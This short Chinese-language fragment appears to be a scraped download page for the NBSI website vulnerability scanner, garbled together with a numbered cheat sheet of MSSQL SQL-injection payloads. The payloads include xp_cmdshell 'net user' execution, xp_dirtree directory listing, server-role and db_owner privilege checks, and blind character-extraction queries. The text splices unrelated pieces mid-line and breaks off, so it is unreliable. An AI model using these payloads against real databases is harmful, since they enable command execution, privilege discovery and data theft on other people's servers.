;insert dirs exec master.dbo.xp_dirtree 'c:\'nbsi網(wǎng)站漏洞檢測工具 v3.0 官方版，10.測試權(quán)限結(jié)構(gòu)（mssql）;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--;exec master.dbo.xp_cmdshell 'net user username6.猜數(shù)據(jù)庫nbsi 3.0純凈版下載，;and 1=(SELECT IS_MEMBER('db_owner'));--;and (select top 1 unicode(substring(字段名，1，1)) from 數(shù)據(jù)庫名)>0;--;and (select top 1 asc(mid(字段名，1，1)) from 數(shù)據(jù)庫名)>0;and user> ...